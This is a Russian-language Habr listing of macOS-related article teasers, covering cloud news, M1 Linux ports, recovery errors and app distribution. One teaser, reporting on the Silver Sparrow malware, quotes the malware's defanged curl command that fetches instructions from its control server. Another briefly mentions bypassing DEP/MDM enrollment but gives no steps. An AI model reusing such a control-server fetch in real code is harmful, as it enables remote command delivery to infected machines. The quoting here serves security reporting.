Открыть список
Как стать автором
Обновить
  • по релевантности
  • по времени
  • по рейтингу

AWS re:Invent. Главные анонсы первого дня (Part 1)

Блог компании SoftlineIT-инфраструктураAmazon Web ServicesDevOpsОблачные сервисы
Сейчас проходит самое вдохновляющее событие в мире облачных технологий — AWS re:Invent. Мы активно конспектировали и собрали выдающиеся новинки, которые были анонсированы вчера в прямом эфире. В качестве спойлера: в конце статьи будет ссылка на русскоязычную twitch-сессию AWS по новинкам re:Invent, которую будут проводить лучшие solution архитекторы Amazon Web Services — присоединяйтесь/послушайте, они зажигательно рассказывают.

Читать дальше →
Всего голосов 28: ↑28 и ↓0 +28
Просмотры3.7K
Комментарии 8

Pentest Enumiration for macOS

Блог компании OTUSИнформационная безопасностьТестирование IT-систем

Обычно инфраструктура строится на базе операционных систем Linux и Windows. И казалось бы, зачем разбираться в проблемах других операционных систем? Всё просто. Пентест — это постоянное развитие, изучение новых технологий. К тому же машины в инфраструктуре, которые работают на базе операционной системы macOS, уже и не такая редкость.

Статья не претендует на полноту информации по платформе MacOS, а лишь демонстрирует механизмы и данные, которые по мнению автора могут быть полезны.

Читать далее
Всего голосов 6: ↑4 и ↓2 +2
Просмотры1.6K
Комментарии 1

OpenGL на Apple M1

ПрограммированиеРабота с 3D-графикойКомпьютерное железоВидеокартыНастольные компьютеры
Из песочницы

Apple ведёт активную борьбу с открытыми стандартами и некоторое время назад объявила OpenGL "устаревшим" на своей платформе macOS Mojave 10.14, двигая разработчиков в сторону проприетарного Metal. Анонсы Mac mini на чипсете Apple M1 (ARM) и macOS Big Sur были восприняты с тревогой за судьбу OpenGL на этой платформе, однако различные источники успокаивали - OpenGL всё ещё поддерживается macOS Big Sur.

Оставался один вопрос - какую версию OpenGL может предложить графический процессор "новичка" Apple M1? Официальная документация Apple не обновлялась с 2017го года, и в ней, разумеется, нет упоминаний M1, а доступные на момент написания статьи не освещают данный момент.

Читать далее
Всего голосов 11: ↑10 и ↓1 +9
Просмотры8.8K
Комментарии 24

macOS и мистический minOS

Разработка под MacOS

После трёхлетнего перерыва актуальная версия sView стала снова доступна на macOS. Новый релиз обещал поддержку macOS 10.10+, но что-то пошло не так и несколько пользователей обратились со странной проблемой - системы macOS 10.13 и 10.14 отказались запускать приложение с сообщением о необходимости обновиться до macOS 10.15…

Сказать, что ошибка меня озадачила - сильно преуменьшить степень моего негодования, ведь магическая цифра 10.15 нигде не фигурировала ни в скриптах сборки, ни в ресурсах sView! Более того, приложение лично было проверено на более старой версии системы, а именно - на macOS 10.10.

Читать далее
Всего голосов 17: ↑17 и ↓0 +17
Просмотры7.6K
Комментарии 0

Отключение профиля DEP и MDM на Mac OS Big Sur

Информационная безопасностьРазработка под MacOS
Из песочницы
Tutorial

Решение с обходом DEP и MDM блокировки на Mac OS Catalina достаточно простое и без труда находится в интернете. С Big Sur все намного сложнее. В новой операционной системе реализован новый механизм защиты целостности системы. Поэтому весь алгоритм действий усложнился.

Читать далее
Всего голосов 15: ↑13 и ↓2 +11
Просмотры6.6K
Комментарии 10

1008F — или как раскирпичить свой Mac

Системное администрированиеРазработка под iOSРазработка под MacOS

Всем привет! В этом посте речь пойдет о бесконечном режиме восстановления macOS, ошибках 1008F, 2003F, 2004F и о том как их побороть. 

Подобные ошибки можно встретить при попытке выполнить Internet Recovery своего Mac, а причин побуждающих к этому действию - множество. В моем случае, дело было так..

Читать далее
Всего голосов 43: ↑41 и ↓2 +39
Просмотры12.6K
Комментарии 18

Безопасный downgrade macOS Big Sur (без 1008F)

Системное администрированиеРазработка под iOSРазработка под MacOS
Tutorial

Недавно, я писал о том, как решить проблему с вечной ошибкой 1008F при попытке откатить macOS Big Sur до macOS Catalina через Internet Recovery. Как показал опрос, есть необходимость рассказать о том, как откатить macOS Big Sur без ошибки 1008F. Причин для отката может быть масса, и если вы обладатель одной из них то этот пост для вас. Главное помнить о том, что описанный ниже способ приведет к полному стиранию данных с вашего компьютера Mac. В моем случае для проведения downgrade использовался MacBook pro 2019 с чипом безопасности T2 и внешний USB - HDD.

Читать далее
Всего голосов 16: ↑16 и ↓0 +16
Просмотры7K
Комментарии 8

OpenIn.app — MacOS приложения для ссылок и файлов

Я пиарюсь

Привет, Хабр!

Давно я ничего не публиковал на Хабре, но вот решил сегодня написать в Я пиарюсь (читай карма-самоуничтожение или как это называется сейчас?)

Решил в свободное время заняться разработкой под MacOS и iOS. Начал пока с MacOS. Идей много, так что приложений будет много в этом году. В последние 8 лет занимался в основном разработкой серверных приложение, до этого был опыт написания разных приложений под Windows. Было даже популярное приложение для прослушивания музыки из Google Music (покойся с миром Google Music), которое я так же написал в свободное время. Заработал в один год с него $40,000.

Ближе к делу. Если вы пользуетесь MacOS, и используете версии 10.15 (Catalina) или 11 (Big Sur), предлагаю вам бесплатное приложение (есть In-App-Purchase, но об этом ниже) для работы с множеством браузеров, email приложений и приложений для файлов. Сегодня засветился на Product Hunt (5-е место за день).

Читать далее
Всего голосов 10: ↑10 и ↓0 +10
Просмотры2.3K
Комментарии 23

Как «приручить» консоль, или 5 шагов к жизни с командной строкой

Блог компании red_mad_robotНастройка Linux*nixОболочки

Всем привет! Меня зовут Осип, я Android-разработчик в Redmadrobot и я люблю автоматизировать всё, что автоматизируется. В этом мне помогает консоль, поэтому решил поделиться опытом, как настроить командную оболочку так, чтобы в ней было приятно работать и она ежедневно помогала вам решать задачи.

Статья для тех, кто использует Linux или macOS. Если у вас Windows, вы можете использовать WSL (приравнивается к Ubuntu).

Читать далее
Всего голосов 25: ↑24 и ↓1 +23
Просмотры10.7K
Комментарии 33

Как продавать приложения для Mac за пределами App Store

Блог компании VDSina.ruРазработка под MacOSУправление продажамиФинансы в ITIT-компании
Перевод


Mac всегда отличался от своего близкого родственника iOS, особенно в отношении того, что пользователю можно и нельзя запускать в своей системе. Даже после появления Apple Silicon компания Apple чётко дала понять, что Mac остаётся Mac, и его по-прежнему можно хакать, даже при запуске на новой архитектуре.

Для программистов это значит, что при разработке для платформы Mac у нас есть выбор: мы можем распространять приложения независимо, за пределами Mac App Store, только через Mac App Store или сочетать оба варианта.

Данная статья стала результатом моих размышлений на эту тему. Она задумывалась как руководство по аспектам, которые нужно знать при распространении приложений для Mac за пределами App Store, а не как подробное описание конкретных действий. Надеюсь, что представленная здесь информация поможет новичкам снять завесу тайны с этого процесса, а описание моего собственного процесса будет полезно в качестве опорной точки.

App Store и прямое распространение: плюсы и минусы


Все эти варианты имеют свои достоинства и недостатки. Начнём с того, что некоторые приложения для Mac просто невозможно будет распространять через Mac App Store. Примером этого может послужить моё приложение AirBuddy, которому для обеспечения глубокой интеграции с беспроводными устройствами Apple необходимо запускать системный агент и использовать приватные API, что в App Store запрещено. То же самое относится и ко многим другим видам приложений, которые просто не смогут работать в условиях ограничений «песочницы» Mac.

Для тех же, у кого выбор есть, я составил список плюсов и минусов выпуска в Mac App Store или независимого распространения.
Читать дальше →
Всего голосов 23: ↑23 и ↓0 +23
Просмотры3.4K
Комментарии 0

Что лучше: дистрибутив Linux в яблочном стиле или нормальный хакинтош?

Блог компании VDSina.ruНастройка LinuxOpen sourceРазработка под LinuxКомпьютерное железо

Дистрибутив Trenta OS для публичного тестирования обещают выпустить в начале 2021 года

На вкус и цвет товарищей нет, но некоторым нравится интерфейс macOS. При этом они не хотят погружаться в закрытую экосистему, где Apple может запретить любую программу на компьютере, отслеживая запуск каждого бинарника: хэши отправляются в Apple в реальном времени. Разумеется, для нашей безопасности.

Конечно, большинство пользователей Apple благодарны за такую заботу, но некоторые считают её неуместной.

Выход есть: свободная и универсальная система Linux поддерживает любой GUI, в том числе «яблочный». Есть особые дистрибутивы с интерфейсом в стиле macOS или iOS — специально для пользователей с повышенными эстетическими запросами. И для тех, кто стремится вырваться из «огороженного сада» Apple, не теряя при этом чувство прекрасного.
Читать дальше →
Всего голосов 84: ↑59 и ↓25 +34
Просмотры45.9K
Комментарии 441

На 30 тысячах компьютеров с macOS нашли странный зловред, который ждёт команду

Блог компании Дата-центр «Миран»Информационная безопасностьАнтивирусная защитаРазработка под MacOS


Новая вредоносная программа Silver Sparrow («Серебряный воробей»), обнаруженная почти на 30 000 компьютерах Mac по всему миру, привлекла внимание специалистов по безопасности. Причин несколько. Во-первых, зловред поставляется в двух бинарниках, в том числе для процессора М1. Во-вторых, исследователи не могут понять цель злоумышленников.

Раз в час заражённые компьютеры проверяют контрольный сервер на предмет новых команд или двоичных файлов для выполнения:

curl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json > /tmp/version.json
plutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist
Читать дальше →
Всего голосов 28: ↑25 и ↓3 +22
Просмотры20.1K
Комментарии 30

Сервер Haute Couture: обзор Apple Xserve G4

Блог компании SelectelКомпьютерное железоИстория ITСтарое железо

Компания Apple — одна из самых заметных на компьютерном рынке, она же — одна из самых противоречивых. Равнодушных к ее продукции и рыночной стратегии исчезающе мало — ее либо любят, либо критикуют — бывает и вовсе ненавидят. Ее продукты хорошо известны многим, интересующимся компьютерной техникой.

Но есть одно направление, присутствие в котором предложений от Apple многими будет воспринято с удивлением. Это — рынок серверов. Сейчас де-юре компания не предлагает покупателям серверные системы, де-факто — Mac Mini с установленной macOS Server вполне успешно используется как в on-premise инсталляциях, так и предлагается в аренду некоторыми облачными провайдерами, в том числе и Selectel в рамках предложения Selectel.Lab.
Читать дальше →
Всего голосов 27: ↑27 и ↓0 +27
Просмотры5.8K
Комментарии 22

Как установить Ubuntu на Apple M1 и ничего не сломать

Блог компании SelectelКомпьютерное железоНастольные компьютерыПроцессоры

Команда разработчиков Corellium выпустила порт Ubuntu на Mac Mini с процессором Apple M1. Публикации по теме рассказывают только про успех умельцев, но не раскрывают подробности. Я решил на собственном опыте проверить, как установить и использовать Ubuntu на Mac Mini, и описал все существующие подводные камни.
Читать дальше →
Всего голосов 51: ↑51 и ↓0 +51
Просмотры11.3K
Комментарии 13

Linux для macOS M1: что сделала команда Asahi Linux за январь-февраль 2021

Open sourceСистемное программированиеРеверс-инжиниринг
Из песочницы
Перевод

Некоторое время назад на Хабре уже писали про проект Asahi Linux.

Если кратко, то это попытка запустить linux на новом маке с M1 архитектурой.

Прошло 2 месяца с момента старта проекта, и разработчики подготовили отчёт о проделанной работе, который помимо перечня сделанного и несделанного, позволяет немного проникнуться сутью работы смеси системного инженера и реверсера.

Отчёт они написали немаленький, так что его перевод будет появляться по частям.

Читать далее
Всего голосов 20: ↑20 и ↓0 +20
Просмотры6K
Комментарии 8

Порядок восстановления данных в файловой системе HFS+

Блог компании Hetman SoftwareВосстановление данных
В нашем обзоре мы рассмотрим структурное построение продвинутой файловой системы HFS+ и ее отличия от предыдущей версии HFS. А также покажем порядок восстановления информации на носителях под управлением HFS+.

image
Читать дальше →
Всего голосов 4: ↑3 и ↓1 +2
Просмотры1.4K
Комментарии 1

Наш Automator, управляем приложениями MacOS на AppleScript

XcodeРазработка под MacOS
Tutorial
Recovery mode

В один замечательный вечер мы с коллегой публиковали небольшое приложение в AppStore. Публикация приложения довольно-таки долгий процесс и состоит из множества этапов. Один из этапов - подготовка картинок для магазина приложений. Задача, на первый взгляд простая - запустить приложение в симуляторе и сделать снимок экрана приложения, а нужны экраны на шести языка, в нескольких размерах, с демонстрацией пяти разных состояния приложения. За часик можно было управиться просто делая снимки руками, при этом попивая кофе и обсуждая общие темы. Но мы же программисты и руками делать не наш метод. Надо автоматизировать процесс. Хоть мы и никогда такого не делали у нас получилось. Мы узнали как легко программно управлять приложениями MacOS. И написали AppleScript который управляет приложениями XCode и Simulator.

Читать далее
Всего голосов 6: ↑5 и ↓1 +4
Просмотры2K
Комментарии 6

Linux для macOS M1: что сделала команда Asahi Linux за январь-февраль 2021 (часть 2)

Open sourceСистемное программированиеРеверс-инжиниринг
Перевод

Продолжаю перевод отчёта проекта Asahi Linux. На этот раз речь пойдёт о загрузчике m1n1 и отладке Mac m1.

Читать далее
Всего голосов 5: ↑5 и ↓0 +5
Просмотры2.3K
Комментарии 0

Создаём новые эмодзи (emoji): как предложить свой смайлик?

Блог компании Hetman Software
Tutorial
Читайте о том, что такое эмодзи (emoji), а также как создать свой собственный смайлик. Опишем процесс утверждения и реализации пользовательского эмодзи.

image
Читать дальше →
Всего голосов 30: ↑3 и ↓27 -24
Просмотры1.9K
Комментарии 6

MacOS Kernel, How Good Is This Apple?

Блог компании PVS-StudioOpen sourceC++Разработка под MacOS

0818_XNU_MacOS_Kernel/image1.png


At the very beginning of this year, Apple released the source code for macOS – Big Sur. It includes XNU, the kernel of the macOS operating system. A few years ago, PVS-Studio has already checked the kernel source code. It coincided with the analyzer release on macOS. It's been a while since then. The new kernel source code has been released. A second check? Why not?

Read more →
Всего голосов 1: ↑1 и ↓0 +1
Просмотры1K
Комментарии 0